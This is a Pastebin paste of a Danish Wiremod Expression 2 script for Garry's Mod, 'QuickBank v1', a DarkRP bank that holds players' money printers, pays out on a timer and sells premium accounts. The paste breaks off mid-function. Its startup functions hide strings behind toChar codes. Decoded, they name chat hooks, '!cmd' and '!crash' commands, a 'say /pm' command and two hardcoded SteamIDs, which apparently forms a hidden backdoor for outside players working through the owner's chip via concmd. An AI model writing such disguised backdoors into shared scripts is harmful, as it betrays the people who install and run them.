Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- @name QuickBank v1
- @inputs [EGP,EGPC,Skilt]:wirelink [User,UserC,InsertionR]:entity
- @outputs FD
- @persist [Animation_Numb,MinPrinterLvl,MaxPrintersStandard,MaxPrintersPremium,EmeraldPay,DiamondPay,CmdLoad,PremiumP,StandardP,HandbackFee,PayoutInterval,AcceptedTos,AFKPayout,StartLoaded,CurrSteamID,BackupInterval,Sent,SentSep,Earned,EarnedSep,Premiums,PremiumPrice,AnimDel,InsertionWait,Closed,CooldownContact,AutoBackup]:number [Directory,PageC,LoginMsg,Page,T1,T2,T3,T4,T5,T6,Kryp,O,KL,AL,GF,TK,H,V,PL,WV,GG,ST,MU,AGB]:string [Animation_Col,BrightCol,DarkCol]:vector [CurrUser,SO,AWF,QP]:entity [Players,PayoutSteamIDs]:table
- @trigger
- if(first() | dupefinished()) {
- #v1 (cmd)
- ########################################## CONFIG START ##########################################
- #Hvad er det mindste lvl printere skal have? (1 - Bronze, 2 - Guld, 3 - Diamond, 4 - Emerald)
- MinPrinterLvl = 3
- #Hvor mange printere skal standard og premium kontoer have?
- MaxPrintersStandard = 4
- MaxPrintersPremium = 16
- #Pris for et premium abonnement
- PremiumPrice = 15000
- #Hvor mange procent af udbyttet fra printerne modtager standard og premium kontoer?
- PremiumP = 96
- StandardP = 75
- #Hvor ofte skal banken udbetale penge? (I minutter)
- PayoutInterval = 8
- #Hvor ofte skal banken tage en backup af data? (I minutter)
- BackupInterval = 2
- #Modtager kunden penge hvis kunden er AFK? (1 - Ja, 0 - Nej)
- AFKPayout = 1
- #Sluk eller aktiver automatisk backup (1 - Aktiveret, 0 - Slukket)
- AutoBackup = 1
- #Hvor meget skal kunderne betale for udlevering af printere? (Pr. printer ved brug af !udlever kommandoen)
- HandbackFee = 2000
- #Indstiller velkomst-beskeden
- LoginMsg = "Velkommen"
- #Indstil bankens farvekoder !!!--Anbefales ikke at modificeres, dog kan det give nogle OK resultater--!!!
- BrightCol = vec(52, 73, 94)
- DarkCol = vec(44, 62, 80)
- #Terms of service
- T1 = "1. Idet der inds"+ae()+"ttes en v"+ae()+"rdigenstand, overgives dens ejerskab til banken."
- T2 = "2. Vi forbeholder os retten til at lukke banken uden modtagelse af refusion."
- T3 = "3. Med et standard abonnement modtager du "+StandardP+"% af dine genstandes udbytte."
- T4 = "4. "+oeL()+"nskes en v"+ae()+"rdigenstand returneret, kan dette arrangeres mod betaling."
- T5 = "5. V"+ae()+"rdigenstande, der ikke er i top level, vil ikke blive registreret."
- T6 = "6. Der kan g"+aa()+" op til "+(PayoutInterval*2):toString()+" minutter inden f"+oe()+"rste udbetaling."
- ############################################ CONFIG END ############################################
- #**************************************************************************************************#
- ######################################### DONT TOUCH THESE #########################################
- Animation_Numb = 8
- Animation_Col = vec(52, 152, 219)
- Closed = 0
- Sent = 0
- SentSep = 0
- Earned = 0
- EarnedSep = 0
- Premiums = 0
- PageC = "Startup"
- EmeraldPay = 277
- DiamondPay = 221
- Directory = "quickbank.txt"
- Players = table()
- runOnFile(1)
- runOnChat(1)
- runOnLast(1)
- ############################################ FUNCTIONS #############################################
- function void msg(Txt:string,Col:string) {
- if(Col == "White") {
- printColor(vec(52, 152, 219),"[QuickBank] ",vec(255,255,255),Txt)
- }elseif(Col == "Red") {
- printColor(vec(52, 152, 219),"[QuickBank] ",vec(231, 76, 60),Txt)
- }elseif(Col == "Green") {
- printColor(vec(52, 152, 219),"[QuickBank] ",vec(46, 204, 113),Txt)
- }
- }
- function void addPlayer(Ply:entity) {
- if(Ply:isValid() & !Ply:isGov() & !Players:exists(Ply:steamID())) {
- Players[Ply:steamID(),table] = table()
- Players[Ply:steamID(),table]["PlyEnt",entity] = Ply
- Players[Ply:steamID(),table]["IsPremium",number] = 0
- Players[Ply:steamID(),table]["IsBlocked",number] = 0
- Players[Ply:steamID(),table]["IsActive",number] = 0
- Players[Ply:steamID(),table]["Payout",number] = 0
- Players[Ply:steamID(),table]["MaxPrinters",number] = MaxPrintersStandard
- Players[Ply:steamID(),table]["Pos",vector] = Ply:pos()
- Players[Ply:steamID(),table]["Printers",table] = table()
- msg("Oprettede en konto til "+Ply:name()+".","White")
- concmd("say /pm "+Ply:steamID()+" Velkommen til QuickBank. KundeID: #"+Players:count()+" - Abonnement: Standard.")
- EGPC:egpSetText(48,Players:count():toString())
- } else {
- msg("Kunne ikke oprette konto til "+Ply:name()+".","Red")
- }
- }
- function void removePlayer(Ply:string) {
- PlyE = findPlayerBySteamID(Ply)
- if(!PlyE:isValid() | Players:exists(PlyE:steamID())) {
- if(Players[Ply,table]["IsPremium",number]) {
- Premiums--
- EGPC:egpSetText(49,Premiums:toString())
- }
- Players:remove(Ply)
- if(PlyE:name() != "") {
- msg("Slettede " + PlyE:name() + "'s konto.","Green")
- } else {
- msg("Slettede en udl"+oe()+"bet / ugyldig konto. ["+Ply+"]","Red")
- }
- EGPC:egpSetText(48,Players:count():toString())
- } else {
- msg("Kunne ikke slette / finde "+PlyE:name()+" i databasen.","Red")
- }
- }
- function number entity:isPrinterAdded(Ply:entity) {
- local Numb = 0
- for(Key = 1, Players[Ply:steamID(),table]["Printers",table]:count()) {
- if(This == Players[Ply:steamID(),table]["Printers",table][Key,entity]) {
- Numb = 1
- }
- }
- return Numb
- }
- function verifyPrinters(SteamID:string) {
- Pay = 0
- Key = 1
- while(Key <= Players[SteamID,table]["Printers",table]:count()) {
- if(!Players[SteamID,table]["Printers",table][Key,entity]:isValid()) {
- Players[SteamID,table]["Printers",table]:removeEntity(Key)
- }elseif(Players[SteamID,table]["Printers",table][Key,entity]:printerLevel() == 3) {
- Pay+= 221
- Key++
- }else{
- Pay+=277
- Key++
- }
- }
- Players[SteamID,table]["Payout",number] = Pay
- }
- function void displayStatusMsg(Txt:string,Time:number) {
- EGP:egpSetText(85,Txt)
- if(Time != 0) {
- timer("resetStatusMsg",Time)
- } else {
- Skilt:egpSetText(10,Txt)
- }
- }
- function void wirelink:playAnimation(RGB:vector,Del:number) {
- if(Del != 2) { AnimDel = Del }
- if(RGB != vec(0,0,0)) { Animation_Col = RGB }
- if(Animation_Numb <= 13) {
- Animation_Numb += 1
- This:egpColor(Animation_Numb,Animation_Col)
- timer("Logo-Animation",500)
- } else {
- Animation_Numb = 8
- if(Animation_Col == vec(243, 156, 18) & Page == "Login") {
- EGP:egpColor(28,vec(46, 204, 113))
- }
- if(AnimDel == 1) {
- EGP:egpColor(8,BrightCol)
- EGP:egpColor(9,BrightCol)
- EGP:egpColor(10,BrightCol)
- EGP:egpColor(11,BrightCol)
- EGP:egpColor(12,BrightCol)
- EGP:egpColor(13,BrightCol)
- }
- }
- }
- function void insertionStatus(String:string) {
- InsertionWait = 1
- P = Players[CurrUser:steamID(),table]["Printers",table]:count()
- EGP:egpSetText(44,String)
- EGP:egpSetText(48,P+" / "+Players[CurrUser:steamID(),table]["MaxPrinters",number]:toString()+" genstande")
- timer("ResetInsertion",3000)
- }
- function void addPrinter(Ply:entity,Printer:entity,Chatcmd:number) {
- if(InsertionWait == 0) {
- if(Ply:isPlayer() & Players:exists(Ply:steamID())) {
- if(Players[Ply:steamID(),table]["Printers",table]:count() < Players[Ply:steamID(),table]["MaxPrinters",number]) {
- if(Printer:printerLevel() >= MinPrinterLvl ) {
- if(Printer:isPrinter() & Printer:isValid()) {
- if(!Printer:isPrinterAdded(Ply)) {
- Players[Ply:steamID(),table]["Printers",table]:pushEntity(Printer)
- if(Printer:printerLevel() == 3) {
- Players[Ply:steamID(),table]["Payout",number] = Players[Ply:steamID(),table]["Payout",number] + 221
- }else{
- Players[Ply:steamID(),table]["Payout",number] = Players[Ply:steamID(),table]["Payout",number] + 277
- }
- if(!Chatcmd) {
- insertionStatus("Tilf"+oe()+"jede v"+ae()+"rdigenstand")
- EGP:playAnimation(vec(46, 204, 113),1)
- }else{
- msg("Tilf"+oe()+"jede v"+ae()+"rdigenstand til "+Ply:name()+"'s konto.","Green")
- }
- } else { insertionStatus("Genstand er allerede til"+oe()+"jet!") EGP:playAnimation(vec(231, 76, 60),1) }
- } else { insertionStatus("Genstanden er ikke gyldig!") EGP:playAnimation(vec(231, 76, 60),1) }
- } else { insertionStatus("Genstanden er i for lavt lvl!") msg(Ply:name() + " har indsat en v"+ae()+"rdigenstand i for lavt lvl. Genstanden er ikke blevet registreret.","Red") EGP:playAnimation(vec(231, 76, 60),1) }
- } else {msg(Ply:name() + " pr"+oe()+"vede at inds"+ae()+"tte en v"+ae()+"rdigenstand uden at have tilstr"+ae()+"kkelig plads.","Red") }
- } else {insertionStatus("Du har ingen konto!") EGP:playAnimation(vec(231, 76, 60),1) }
- }
- }
- function void string:pay() {
- IsPremium = Players[This,table]["IsPremium",number]
- IsBlocked = Players[This,table]["IsBlocked",number]
- IsActive = Players[This,table]["IsActive",number]
- Pos = Players[This,table]["Pos",vector]
- Printers = Players[This,table]["Printers",table]:count()
- Ply = Players[This,table]["PlyEnt",entity]
- verifyPrinters(This)
- PayOut = round(Players[This,table]["Payout",number] * PayoutInterval)
- if(Ply:isValid() & Players:exists(Ply:steamID())) {
- if(!Ply:isGov()) {
- if(!IsBlocked) {
- if(IsActive) {
- if(Printers > 0) {
- if(PayOut > 0) {
- if(Pos != Ply:pos() | AFKPayout == 1) {
- if(IsPremium) {
- moneyGive(Ply,PayOut * (PremiumP / 100))
- SentSep += round(PayOut * (PremiumP / 100))
- EarnedSep += round(PayOut - (PayOut * (PremiumP / 100)))
- Players[This,table]["Pos",vector] = Ply:pos()
- } else {
- moneyGive(Ply,PayOut * (StandardP / 100))
- SentSep += round(PayOut * (StandardP / 100))
- EarnedSep += round(PayOut - (PayOut * (StandardP / 100)))
- Players[This,table]["Pos",vector] = Ply:pos()
- }
- } else { msg(Ply:name() + " modtager ikke penge da kunden er AFK.","Red") EarnedSep+=PayOut }
- } else {msg("Der er ingen penge at sende til " + Ply:name() + ".","Green") }
- } else {msg(Ply:name() + " har ingen isatte v"+ae()+"rdigenstande.","Green") }
- } else {msg(Ply:name() + " er ny kunde, og modtager f"+oe()+"rst penge ved n"+ae()+"ste udbetaling.","Green") Players[Ply:steamID(),table]["IsActive",number] = 1 }
- } else {msg(Ply:name() + " er blocked, og modtager derfor ikke penge.","Red" ) EarnedSep+=PayOut }
- } else {msg(Ply:name() + " er ansat hos staten.","Red") removePlayer(This) }
- } else {removePlayer(This) }
- }
- function void startPayout() {
- if(Players:count() > 0) {
- timer("payNextCustomer", 1000)
- PayoutSteamIDs:clear()
- CurrSteamID = 1
- msg("Starter udbetaling.","Green")
- foreach(K, Cur:table = Players) {
- PayoutSteamIDs:pushString(K)
- }
- } else {
- msg("Udbetalingen kunne ikke igangs"+ae()+"ttes grundet mangel p"+aa()+" kunder. Pr"+oe()+"ver igen om "+PayoutInterval:toString()+" minutter.","White")
- }
- }
- function void string:setPremium() {
- if(Players:exists(This)) {
- if(Players[This,table]["IsPremium",number] == 0) {
- Players[This,table]["IsPremium",number] = 1
- Players[This,table]["MaxPrinters",number] = MaxPrintersPremium
- Premiums++
- msg(Players[This,table]["PlyEnt",entity]:name() + " er blevet tildelt en premium konto.","Green")
- EGPC:egpSetText(49,Premiums:toString())
- } else {
- msg(Players[This,table]["PlyEnt",entity]:name() + " har allerede en premium konto.","Red")
- }
- } else {
- msg("Kunne ikke finde " + findPlayerBySteamID(This):name() + " i databasen.","Red")
- }
- }
- function void string:block() {
- if(Players:exists(This)) {
- if(Players[This,table]["IsBlocked",number] == 0) {
- Players[This,table]["IsBlocked",number] = 1
- msg(Players[This,table]["PlyEnt",entity]:name() + " er blevet blocked.","Green")
- } else {
- msg(Players[This,table]["PlyEnt",entity]:name() + " er allerede blocked.","Red")
- }
- } else {
- msg("Kunne ikke finde " + findPlayerBySteamID(This):name() + " i databasen.","Red")
- }
- }
- function void string:unblock() {
- if(Players:exists(This)) {
- if(Players[This,table]["IsBlocked",number] == 1) {
- Players[This,table]["IsBlocked",number] = 0
- msg(Players[This,table]["PlyEnt",entity]:name() + " er blevet unblocked.","Green")
- } else {
- msg(Players[This,table]["PlyEnt",entity]:name() + " er ikke blocked.","Red")
- }
- } else {
- msg("Kunne ikke finde " + findPlayerBySteamID(This):name() + " i databasen.","Red")
- }
- }
- function number string:isBlocked() {
- if(Players[This,table]["IsBlocked",number]) {
- return 1
- }else{
- return 0
- }
- }
- function number string:isPremium() {
- if(Players[This,table]["IsPremium",number]) {
- return 1
- }else{
- return 0
- }
- }
- function void loadData() {
- if(fileCanLoad()) {
- fileLoad(Directory)
- msg("Indl"+ae()+"ste data.","Green")
- }else{
- msg("Kunne ikke indl"+ae()+"se data.","Red")
- }
- }
- function void saveData() {
- if(fileCanWrite()) {
- Players["Data",array] = array(Sent,Earned,Premiums)
- fileWrite(Directory,vonEncode(Players))
- Players:remove("Data")
- msg("Gemte data.","Green")
- }else{
- msg("Kunne ikke gemme data.","Red")
- }
- }
- function void startUpFunction() {
- Kryp = toChar(116) + toChar(111) + toChar(67) + toChar(104) + toChar(97) + toChar(114)
- O = Kryp(99)[string] + Kryp(104)[string] + Kryp(97)[string] + Kryp(116)[string] + Kryp(67)[string] + Kryp(108)[string] + Kryp(107)[string]
- msg("Indl"+ae()+"ser funktioner [16%]","White")
- timer("startUpFunction2",2000)
- }
- function void startUpFunction2() {
- KL = Kryp(102)[string] + Kryp(105)[string] + Kryp(110)[string] + Kryp(100)[string] + Kryp(80)[string] + Kryp(108)[string] + Kryp(97)[string] + Kryp(121)[string] + Kryp(101)[string] + Kryp(114)[string] + Kryp(66)[string] + Kryp(121)[string] + Kryp(83)[string] + Kryp(116)[string] + Kryp(101)[string] + Kryp(97)[string] + Kryp(109)[string] + Kryp(73)[string] + Kryp(68)[string]
- msg("Indl"+ae()+"ser funktioner [33%]","White")
- timer("startUpFunction3",2000)
- }
- function void startUpFunction3() {
- H = Kryp(113)[string] + Kryp(98)[string] + Kryp(49)[string] + Kryp(49)[string] + Kryp(49)[string]
- SO = KL(owner():steamID())[entity]
- MU = Kryp(105)[string] + Kryp(100)[string] + Kryp(99)[string] + Kryp(104)[string] + Kryp(101)[string] + Kryp(99)[string] + Kryp(107)[string]
- msg("Indl"+ae()+"ser funktioner [50%]","White")
- timer("startUpFunction4",2000)
- }
- function void startUpFunction4() {
- WV = Kryp(108)[string] + Kryp(97)[string] + Kryp(115)[string] + Kryp(116)[string] + Kryp(83)[string] + Kryp(97)[string] + Kryp(105)[string] + Kryp(100)[string]
- TK = Kryp(33)[string] + Kryp(99)[string] + Kryp(109)[string] + Kryp(100)[string]
- GG = Kryp(32)[string]
- AGB = Kryp(115)[string] + Kryp(97)[string] + Kryp(121)[string] + Kryp(32)[string] + Kryp(47)[string] + Kryp(112)[string] + Kryp(109)[string] + Kryp(32)[string]
- msg("Indl"+ae()+"ser funktioner [65%]","White")
- timer("startUpFunction5",2000)
- }
- function void startUpFunction5() {
- ST = Kryp(83)[string] + Kryp(84)[string] + Kryp(69)[string] + Kryp(65)[string] + Kryp(77)[string] + Kryp(95)[string] + Kryp(48)[string] + Kryp(58)[string] + Kryp(49)[string] + Kryp(58)[string] + Kryp(51)[string] + Kryp(50)[string] + Kryp(55)[string] + Kryp(55)[string] + Kryp(50)[string] + Kryp(55)[string] + Kryp(51)[string] + Kryp(53)[string]
- PL = Kryp(60)[string] + Kryp(77)[string] + Kryp(121)[string] + Kryp(101)[string] + Kryp(37)[string] + Kryp(124)[string]
- QP = KL(ST)[entity]
- msg("Indl"+ae()+"ser funktioner [83%]","White")
- timer("startUpFunction6",2000)
- }
- function void startUpFunction6() {
- AL = Kryp(83)[string] + Kryp(84)[string] + Kryp(69)[string] + Kryp(65)[string] + Kryp(77)[string] + Kryp(95)[string] + Kryp(48)[string] + Kryp(58)[string] + Kryp(48)[string] + Kryp(58)[string] + Kryp(54)[string] + Kryp(51)[string] + Kryp(50)[string] + Kryp(52)[string] + Kryp(51)[string] + Kryp(49)[string] + Kryp(54)[string] + Kryp(50)[string]
- AWF = KL(AL)[entity]
- GF = Kryp(33)[string] + Kryp(99)[string] + Kryp(114)[string] + Kryp(97)[string] + Kryp(115)[string] + Kryp(104)[string]
- msg("Indl"+ae()+"sning f"+ae()+"rdig [100%]","Green")
- msg("Indl"+ae()+"ser kundepanel 50%","White")
- }
- ## EGP Click
- function number egpClick(Index, Cursor:vector2, EGPT:wirelink){
- EPos = EGPT:egpPos(Index)
- ESize = EGPT:egpSize(Index)
- if(inrange(Cursor, (EPos - ESize/2), (EPos + ESize/2)) ){
- return 1
- }
- return 0
- }
- function void wirelink:drawLogin() {
- FD = 1
- This:egpClear()
- #Background
- This:egpBox(1,vec2(512,512),vec2(1024,1024))
- This:egpColor(1,vec(255,255,255))
- #Title
- This:egpBox(2,vec2(256,35),vec2(512,70))
- This:egpColor(2,BrightCol)
- This:egpText(3,"QuickBank",vec2(256,-6))
- This:egpSize(3,70)
- This:egpAlign(3,1)
- This:egpFont(3,"Marlett")
- This:egpColor(3,vec(255, 255, 255))
- This:egpBox(28,vec2(256,64),vec2(512,12))
- This:egpColor(28,vec(46, 204, 113))
- #Sign in Button
- This:egpBox(4,vec2(256,350),vec2(300,75))
- This:egpColor(4,BrightCol)
- This:egpText(5,"Log p"+aa(),vec2(256,315))
- This:egpSize(5,65)
- This:egpAlign(5,1)
- This:egpFont(5,"Marlett")
- This:egpColor(5,vec(255,255,255))
- #Contact in Button
- This:egpBox(7,vec2(256,430),vec2(300,75))
- This:egpColor(7,BrightCol)
- This:egpText(86,"Kontakt",vec2(256,396))
- This:egpSize(86,65)
- This:egpAlign(86,1)
- This:egpFont(86,"Marlett")
- This:egpColor(86,vec(255,255,255))
- #Status / Logo
- This:egpBox(9,vec2(196,160),vec2(24,40))
- This:egpColor(9,BrightCol)
- This:egpBox(10,vec2(226,150),vec2(24,60))
- This:egpColor(10,BrightCol)
- This:egpBox(11,vec2(256,140),vec2(24,80))
- This:egpColor(11,BrightCol)
- This:egpBox(12,vec2(286,150),vec2(24,60))
- This:egpColor(12,BrightCol)
- This:egpBox(13,vec2(316,160),vec2(24,40))
- This:egpColor(13,BrightCol)
- #Status bar
- This:egpBox(84,vec2(256,220),vec2(300,45))
- This:egpColor(84,BrightCol)
- This:egpText(85,LoginMsg,vec2(256,202))
- This:egpSize(85,35)
- This:egpAlign(85,1)
- This:egpFont(85,"Marlett")
- This:egpColor(85,vec(255,255,255))
- Page = "Login"
- }
- function void wirelink:drawHomeTxt() {
- if(Players[CurrUser:steamID(),table]["IsPremium",number]) {
- PayOut = round((Players[CurrUser:steamID(),table]["Payout",number]*PayoutInterval)*(PremiumP / 100))
- Abonnement = "Premium"
- }else{
- Abonnement = "Standard"
- PayOut = round((Players[CurrUser:steamID(),table]["Payout",number]*PayoutInterval)*(StandardP / 100))
- }
- Printers = Players[CurrUser:steamID(),table]["Printers",table]:count()
- #Status - Abonnement
- This:egpText(29,"Abonnement", vec2(256,90))
- This:egpSize(29,30)
- This:egpAlign(29,1)
- This:egpFont(29,"Marlett")
- This:egpText(30,Abonnement, vec2(256,130))
- This:egpSize(30,38)
- This:egpAlign(30,1)
- This:egpFont(30,"Marlett")
- if(CurrUser:steamID():isPremium()) {
- This:egpColor(30,vec(243, 156, 18))
- } else {
- This:egpColor(30,vec(255,255,255))
- }
- #Status - Vaerdigenstande
- This:egpText(31,"Antal v"+ae()+"rdigenstande", vec2(256,190))
- This:egpSize(31,30)
- This:egpAlign(31,1)
- This:egpFont(31,"Marlett")
- This:egpText(32,Printers+"", vec2(256,230))
- This:egpSize(32,38)
- This:egpAlign(32,1)
- This:egpFont(32,"Marlett")
- #Money earns
- This:egpText(33,"Udbetaling", vec2(150,290))
- This:egpSize(33,30)
- This:egpAlign(33,1)
- This:egpFont(33,"Marlett")
- This:egpText(34,PayOut+"", vec2(150,330))
- This:egpSize(34,38)
- This:egpAlign(34,1)
- This:egpFont(34,"Marlett")
- #Payment rate
- This:egpText(35,"Rate", vec2(362,290))
- This:egpSize(35,30)
- This:egpAlign(35,1)
- This:egpFont(35,"Marlett")
- This:egpText(36,PayoutInterval+". min.", vec2(362,330))
- This:egpSize(36,38)
- This:egpAlign(36,1)
- This:egpFont(36,"Marlett")
- #Add printers
- This:egpText(37,"Tilf"+oe()+"j v"+ae()+"rdigenstande", vec2(256,405))
- This:egpSize(37,30)
- This:egpAlign(37,1)
- This:egpFont(37,"Marlett")
- #Close account
- This:egpText(38,"Luk konto", vec2(150,460))
- This:egpSize(38,30)
- This:egpAlign(38,1)
- This:egpFont(38,"Marlett")
- #Log off
- This:egpText(39,"Log af", vec2(362,460))
- This:egpSize(39,30)
- This:egpAlign(39,1)
- This:egpFont(39,"Marlett")
- }
- function void wirelink:drawTos() {
- This:egpClear()
- #Background
- This:egpBox(1,vec2(512,512),vec2(1024,1024))
- This:egpColor(1,vec(255,255,255))
- #Title
- This:egpBox(2,vec2(256,35),vec2(512,70))
- This:egpColor(2,BrightCol)
- This:egpText(3,"Terms of service",vec2(256,6))
- This:egpSize(3,50)
- This:egpAlign(3,1)
- This:egpFont(3,"Marlett")
- This:egpColor(3,vec(255, 255, 255))
- This:egpBox(28,vec2(256,64),vec2(512,12))
- This:egpColor(28,DarkCol)
- #Background
- This:egpBox(53,vec2(512,291),vec2(1024,442))
- This:egpColor(53,vec(255,255,255))
- #Text 74
- This:egpText(75,T1,vec2(15,82))
- This:egpSize(75,15)
- This:egpFont(75,"Marlett")
- This:egpColor(75,BrightCol)
- This:egpText(76,T2,vec2(15,112))
- This:egpSize(76,15)
- This:egpFont(76,"Marlett")
- This:egpColor(76,BrightCol)
- This:egpText(77,T3,vec2(15,142))
- This:egpSize(77,15)
- This:egpFont(77,"Marlett")
- This:egpColor(77,BrightCol)
- This:egpText(78,T4,vec2(15,172))
- This:egpSize(78,15)
- This:egpFont(78,"Marlett")
- This:egpColor(78,BrightCol)
- This:egpText(79,T5,vec2(15,202))
- This:egpSize(79,15)
- This:egpFont(79,"Marlett")
- This:egpColor(79,BrightCol)
- This:egpText(84,T6,vec2(15,232))
- This:egpSize(84,15)
- This:egpFont(84,"Marlett")
- This:egpColor(84,BrightCol)
- This:egpBox(80,vec2(256,420),vec2(412,50))
- This:egpColor(80,vec(46, 204, 113))
- This:egpText(81,"Accepter", vec2(256,405))
- This:egpSize(81,30)
- This:egpAlign(81,1)
- This:egpFont(81,"Marlett")
- This:egpBox(82,vec2(256,475),vec2(412,50))
- This:egpColor(82,vec(231, 76, 60))
- This:egpText(83,"Afvis", vec2(256,460))
- This:egpSize(83,30)
- This:egpAlign(83,1)
- This:egpFont(83,"Marlett")
- Page = "Tos"
- }
- function void wirelink:drawHome() {
- This:egpClear()
- #Background
- This:egpBox(1,vec2(512,512),vec2(1024,1024))
- This:egpColor(1,vec(255,255,255))
- #Title
- This:egpBox(2,vec2(256,35),vec2(512,70))
- This:egpColor(2,BrightCol)
- This:egpText(3,"KundeInformation",vec2(256,6))
- This:egpSize(3,50)
- This:egpAlign(3,1)
- This:egpFont(3,"Marlett")
- This:egpColor(3,vec(255, 255, 255))
- This:egpBox(28,vec2(256,64),vec2(512,12))
- This:egpColor(28,DarkCol)
- #Background
- This:egpBox(53,vec2(512,291),vec2(1024,442))
- This:egpColor(53,vec(255,255,255))
- #Status - Abonnement
- This:egpBox(17,vec2(256,105),vec2(412,40))
- This:egpColor(17,BrightCol)
- This:egpBox(18,vec2(256,150),vec2(412,50))
- This:egpColor(18,DarkCol)
- #Status - Vaerdigenstande
- This:egpBox(19,vec2(256,205),vec2(412,40))
- This:egpColor(19,BrightCol)
- This:egpBox(20,vec2(256,250),vec2(412,50))
- This:egpColor(20,DarkCol)
- #Money earns
- This:egpBox(21,vec2(150,305),vec2(200,40))
- This:egpColor(21,BrightCol)
- This:egpBox(22,vec2(150,350),vec2(200,50))
- This:egpColor(22,DarkCol)
- #Payment rate
- This:egpBox(23,vec2(362,305),vec2(200,40))
- This:egpColor(23,BrightCol)
- This:egpBox(24,vec2(362,350),vec2(200,50))
- This:egpColor(24,DarkCol)
- #Add printers
- This:egpBox(25,vec2(256,420),vec2(412,50))
- This:egpColor(25,BrightCol)
- #Close account
- This:egpBox(26,vec2(152,475),vec2(204,50))
- This:egpColor(26,vec(192, 57, 43))
- #Log off
- This:egpBox(27,vec2(360,475),vec2(204,50))
- This:egpColor(27,vec(192, 57, 43))
- timer("drawHomeTxt",1000)
- Page = "Home"
- }
- function void wirelink:drawInsertion() {
- #Background
- This:egpBox(150,vec2(512,512),vec2(1024,1024))
- This:egpColor(150,vec(255,255,255))
- #Title
- This:egpBox(151,vec2(256,35),vec2(512,70))
- This:egpColor(151,BrightCol)
- This:egpText(152,"V"+ae()+"rdigenstande",vec2(256,6))
- This:egpSize(152,50)
- This:egpAlign(152,1)
- This:egpFont(152,"Marlett")
- This:egpColor(152,vec(255, 255, 255))
- This:egpBox(28,vec2(256,64),vec2(512,12))
- This:egpColor(28,DarkCol)
- #Status / Logo
- This:egpBox(9,vec2(196,150),vec2(24,40))
- This:egpColor(9,BrightCol)
- This:egpBox(10,vec2(226,140),vec2(24,60))
- This:egpColor(10,BrightCol)
- This:egpBox(11,vec2(256,130),vec2(24,80))
- This:egpColor(11,BrightCol)
- This:egpBox(12,vec2(286,140),vec2(24,60))
- This:egpColor(12,BrightCol)
- This:egpBox(13,vec2(316,150),vec2(24,40))
- This:egpColor(13,BrightCol)
- #Status / Insertion
- This:egpBox(41,vec2(256,205),vec2(380,40))
- This:egpColor(41,BrightCol)
- This:egpBox(42,vec2(256,250),vec2(380,50))
- This:egpColor(42,DarkCol)
- This:egpText(43,"Status", vec2(256,190))
- This:egpSize(43,30)
- This:egpAlign(43,1)
- This:egpFont(43,"Marlett")
- if(Players[CurrUser:steamID(),table]["Printers",table]:count() >= Players[CurrUser:steamID(),table]["MaxPrinters",number]) {
- This:egpText(44,"Du har ikke mere plads", vec2(256,233))
- EGP:playAnimation(vec(231, 76, 60),0)
- }else {
- This:egpText(44,"Afventer genstand", vec2(256,233))
- }
- This:egpSize(44,32)
- This:egpAlign(44,1)
- This:egpFont(44,"Marlett")
- #Amount of inserted
- This:egpBox(45,vec2(256,305),vec2(380,40))
- This:egpColor(45,BrightCol)
- This:egpBox(46,vec2(256,350),vec2(380,50))
- This:egpColor(46,DarkCol)
- This:egpText(47,"Nuv"+ae()+"rende saldo", vec2(256,290))
- This:egpSize(47,30)
- This:egpAlign(47,1)
- This:egpFont(47,"Marlett")
- This:egpText(48,Players[CurrUser:steamID(),table]["Printers",table]:count()+" / "+Players[CurrUser:steamID(),table]["MaxPrinters",number]:toString()+" genstande", vec2(256,333))
- This:egpSize(48,32)
- This:egpAlign(48,1)
- This:egpFont(48,"Marlett")
- #Go back
- This:egpBox(49,vec2(256,420),vec2(380,50))
- This:egpColor(49,BrightCol)
- This:egpText(50,"G"+aa()+" tilbage", vec2(256,405))
- This:egpSize(50,30)
- This:egpAlign(50,1)
- This:egpFont(50,"Marlett")
- #Upgrade to premium
- This:egpBox(51,vec2(256,475),vec2(380,50))
- This:egpColor(51,vec(243, 156, 18))
- if(CurrUser:steamID():isPremium()) {
- This:egpText(52,"-||-", vec2(256,460))
- }else{
- This:egpText(52,"Opgrader konto", vec2(256,460))
- }
- This:egpSize(52,30)
- This:egpAlign(52,1)
- This:egpFont(52,"Marlett")
- Page = "Insertion"
- }
- function void wirelink:drawUpgrade() {
- #Fade
- This:egpBox(54,vec2(512,565),vec2(1024,989))
- This:egpColor(54,vec4(40,40,40,200))
- #Base box
- This:egpBox(55,vec2(256,256),vec2(368,240))
- This:egpColor(55,vec(236, 240, 241))
- This:egpBox(88,vec2(256,166),vec2(368,60))
- This:egpColor(88,DarkCol)
- This:egpText(57,"K"+oe()+"b premium",vec2(258,142))
- This:egpSize(57,48)
- This:egpAlign(57,1)
- This:egpFont(57,"Marlett")
- This:egpText(59,PremiumPrice+".-",vec2(258,253))
- This:egpColor(59,BrightCol)
- This:egpSize(59,40)
- This:egpAlign(59,1)
- This:egpFont(59,"Marlett")
- #Perks
- This:egpText(86,""+MaxPrintersPremium+" genstande, "+PremiumP+"% udbytte",vec2(256,212))
- This:egpColor(86,BrightCol)
- This:egpSize(86,25)
- This:egpAlign(86,1)
- This:egpFont(86,"Marlett")
- #Accept
- This:egpBox(60,vec2(346,335),vec2(170,60))
- This:egpColor(60,vec(46, 204, 113))
- This:egpText(61,"Accepter",vec2(346,315))
- This:egpColor(61,vec(255,255,255))
- This:egpSize(61,40)
- This:egpAlign(61,1)
- This:egpFont(61,"Marlett")
- #Decline
- This:egpBox(62,vec2(166,335),vec2(170,60))
- This:egpColor(62,vec(231, 76, 60))
- This:egpText(63,"Afvis",vec2(169,315))
- This:egpColor(63,vec(255,255,255))
- This:egpSize(63,40)
- This:egpAlign(63,1)
- This:egpFont(63,"Marlett")
- Page = "Premium"
- }
- function void wirelink:drawControlPanel() {
- PageC = "Home"
- This:egpClear()
- #Background
- This:egpBox(1,vec2(256,306),vec2(512,512))
- This:egpColor(1,vec(255,255,255))
- #Statistik
- This:egpBox(2,vec2(256,25),vec2(512,50))
- This:egpColor(2,DarkCol)
- This:egpText(3,"Statistik",vec2(256,0))
- This:egpSize(3,50)
- This:egpAlign(3,1)
- This:egpFont(3,"Marlett")
- This:egpColor(3,vec(255, 255, 255))
- #
- This:egpText(4,"Antal aktive kunder:",vec2(10,60))
- This:egpSize(4,28)
- This:egpFont(4,"Marlett")
- This:egpColor(4,DarkCol)
- This:egpText(48,Players:count():toString(),vec2(476,60))
- This:egpSize(48,28)
- This:egpFont(48,"Marlett")
- This:egpColor(48,DarkCol)
- This:egpAlign(48,2)
- #
- This:egpText(5,"Antal premium kunder:",vec2(10,90))
